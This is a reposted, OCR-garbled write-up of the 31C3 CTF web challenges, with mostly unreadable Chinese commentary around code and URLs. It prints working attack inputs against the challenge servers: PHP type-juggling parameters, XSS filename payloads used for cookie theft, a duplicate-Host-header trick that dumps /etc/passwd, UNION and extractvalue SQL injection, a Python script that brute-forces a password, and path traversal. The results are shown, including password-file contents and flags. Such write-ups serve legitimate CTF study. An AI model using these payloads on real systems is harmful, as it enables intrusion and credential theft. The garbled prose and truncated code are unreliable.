31C3 CTF webZXwriteup

weixin_34019929 o F 2018-03-08 10:3431 K Aii O 264 ® Wi, 1
XERAE: php MG 5HIX by

JRSCEE#E:  hitps/juejin.inVpost/Saal 16666{H9a028c¢6754a86
FERARL

>-TEAM - 2015/01/07 9:47

0x00 ¥ 5t
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0x01 pCRAPp

PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/

R TR ZphpB T AR, KT EXHERI.

http://188.40.18.69/pCRAPp.php?a={%22a1%22:%221337a%22,%22a2%22:[[1],1,2,3,0] }&b=0001&c[0]=0031c3&c[1][]=11
S HI4AG

B —TEANIR A, HS2R 2 I57Ehttp://drops.wooyun.org/tips/4483iX /& X = A #H 3.
X BB TPHPE R — M, H—ANBREM—ANHAARRTHERRE, S&EHMERintvalBi.

#!php

is_numeric(@$a["al"])?die("nope"):NULL;

if(@$a["a1"]){
($a["a1"]>1336)?2$v1=1:NULL;

}

ke

XEWRAHTHEREE, array_search &1F H'ctf flarray+ & AME/E LS, 1 Hintval('ctf')==0.


https://blog.csdn.net/weixin_34019929
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E7%25BB%2593%25E6%259E%2584%25E4%25B8%258E%25E7%25AE%2597%25E6%25B3%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ruby&t=blog&o=vip&s=&l=&f=&viparticle=
https://juejin.im/post/5aa116666fb9a028c6754a86

#!php

if(is_array(@%$a["a2"])){
if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["a2"] as $key=>$val){

$val==="ctf"?die("nope"):NULL;
}
$v2=1;
}
SRS

XEMB T —4BUG, http://blog.51yip.com/php/934.html. 7Ewindows T 1.1.1 XFhH#yi& th &R 4E.

#!php
if(preg_match("/~([0-9]+\.?[0-9]+)+$/",@$_GET['b'])){
$b=json_decode(@$_GET['b']);
if($var = $b === NULL){
($var===true)?$v3=1:NULL;
}
}
ke

XERBIMEIR, arrayflistringik 4T strempEL % 23R Bl — /4 null,  %007] PAE: Wreregi

#!php
$c=@$_GET['c'];
$d=@$_GET['d"];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?>die("nope") :NULL;
strpos(($c[0].$d), "31c3")?$v4=1:NULL;
¥
¥
if($vl && $v2 && $v3 && $v4){
include "flag.php";
echo $flag;

}
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0x02 Page Builder

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give
you decent points for it

X—B AW, B—SHE— N RERE. RS TE 2 ERiflename: FHescape.
W HiES



filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=stylel&content=aaa
SR

ST R PEHIXSS

http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<img src=x onerror=alert(1)>.php
ke

FATAT LA & — T cookie i 4

http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/<svg onload=eval(document.location.hash
ke

BB HIXANXSSHA E, Contact Us, #tAT AT Elcookie T, AT LAE EIFlag
0x03 HTTP

Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility of Ruby.
Get the source at:

http.tar.bz2 Some example sites hosted with our webserver:

http://works.90.31c3ctf.aachen.ccc.de/works.html

http://31c3ctf.90.31c3ctf.aachen.ccc.de/announcements.html

BT —AME B webserver, B EE— TECH.
run.sh ] AE BIBIRELELE, fw.rb Bt Aserver file.c #HTAbHE.

#!bash
exec socat "TCP-LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a
ke

E 3 server_file.c 1, <EH hostH & T Hpath3 4, FFiREl, & iEBER A



#lc
if (chdir(host) == -1) {
goto _404;
}
int fd= open(path, O_RDONLY);
if (fd == -1) {
goto _404;
}
struct stat stat;
if (fstat(fd, &stat) == -1) {
goto _404;
}
const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (file == NULL) {
goto _404;
}
close(fd);
LT

1B R EIX R RIA TR R & fw.rb forbidden.

[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/'
Forbidden
ke

HE— T w.rbif 28 < IR EUER JE — Kk H BL A Host

#!ruby
def parse_headers(line_reader)
line_reader.collect do |line]
[$1, $2] if line=~ /\A([":]*): *(.*)\z/
end.compact.inject({}) { |h, x| h[x[@]]= x[1]; h }
end

ke

serve file23REUEE — Ik H B A Host

#lc
for (55) {
if (!read_line(buffer, &buf_size)) {
goto invalid;
}
if (*buffer == "\r') {
goto invalid;
}
if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) {
break;
}
char *eol= strchr(buffer, '\r');
buf_size-= eol-buffer-2;
buffer= eol+2;
}
-k law



XAERATH AT A& S M HostR Gt fw.rb T .

[email protected]:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/' -H 'Host:
works.90.31c3ctf.aachen.ccc.de’

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

news:

7
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

x:9:9:news:/var/spool/news:/usr/sbin/nologin

X

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
syslog:x:100:103::/home/syslog:/bin/false

messagebus:x:101:105: :/var/run/dbus:/bin/false
uuidd:x:102:107::/run/uuidd:/bin/false
landscape:x:103:110::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user, ,, : /home/user:/bin/bash
flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcdel5f84125: /home/flag:
ke

0x04 SCHAN

5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?

http://188.40.18.89/
HHE

H %6V i — T http://188.40.18.89/robots.txt, <& I — backupl] HF, T# TREZIEL.
FTFRIBBES KM — 1 sqiE AR, WiEWTHRER, e iEIFlag

http://188.40.18.89/?page=pic&id=9 union select * from pictures where id=9 -- a
ke

0x05 Devilish



It's some devilish community public portal, we’re pretty sure there’s something else out there, a private portal maby, we’'d
like to know the secret behind it.

http://188.40.18.70/

BHERB —ASQEN A BRI A .

http://188.40.18.78/PROFILE/54\/KiTTyKiTTy
S HI4AY

FE T 9 R BL 1 AT DA 3R B R A ST I SQLIE A

<!--SELECT * FROM users WHERE id_user='54\"' AND Us3rN4m3='KiTTyKiTTy'-->
HHE

EARTE TIREZ AR, &2l XMLk K75 22w BUFH .

http://188.40.18.70/PROFILE/56\/-extractvalue(1l,concat(@x5c, (select%09Us3rN4m3%09from%09users%091imit%091))
ke

[ ~information_schema #id 38 7, BATT/EH R/ —FH KRB HEEZ

http://188.40.18.70/PROFILE/54%5C/-%28select%09*%09from%09%28select%09*%09from%09users%09join%09users%09b%0
pLfe )

PAT IR 50 2 1S 7 B P4sWWOrD_OF_M3_WTF, A8 - -!
e R, XEBEA AR R ARERE B REAREK KR, XEFNASEREMHEN.

http://188.40.18.70/PROFILE/56\/-extractvalue(l,concat(0x5c, (select%09P4sWWOrD_ OF M3 _WTF%09from%09users%091
ke
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#!python
import requests
import string

charset = string.ascii_letters + string.digits

print charset
if _ name__=='__main__':
ipass = 'sd654egezjniufsdqc89q7d65azd123"
print ipass.encode( 'hex")
while True:
for i in charset:
t = ipass + i
r = requests.get('http://188.40.18.70/PROFILE/56\/-extractvalue(l,concat(0x5c, (select%@9locate(
if r.text.find('XPATH syntax error: \'\1\'')!=-1:
print 'Got it!'+i

ipass = t
print ipass
else:
print 'No!'+i
L e
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Dracula / ZD456ddssd654561ksndoiNzd654sdsd654zd65s4d56489zdz
-k law
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http://188.40.18.70/ACCESS?action=browse&dir=../../../../../var/www/html/__WebSiteFuckingPrivateContentNotF
ke
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[email protected]:~# curl http://188.40.18.70/_WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD

#!php
<?php
if(@$_SESSION[ 'user']){header("location: ".$LINK);die();}
if(isset($_POST['user'])){
if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real escape_stri
$_SESSION=$_POST;
header("location: ".$LINK);die();
}else{
$Error=1;

?>
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http://188.40.18.70/ACCESS?action=browse&dir=../../../../../../../home/devilish.local/_ WebSiteFuckingPriva
pLfe )

XA server (i INDEXS 4 H T Flag

#!html

[email protected]:~# curl "http://188.40.18.70/_ WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" -
<br/>

This is the private Portal of us<br/><br/>

If you are accessing this page this means you are one of the very few exclusive members who are all

<br/>

<?php echo($logged?"Here's your secret ".$flag."<br/><br/>":"Login to access the secret<br/><br/>")?>

<span class="styleX">s</span>

L lfez)
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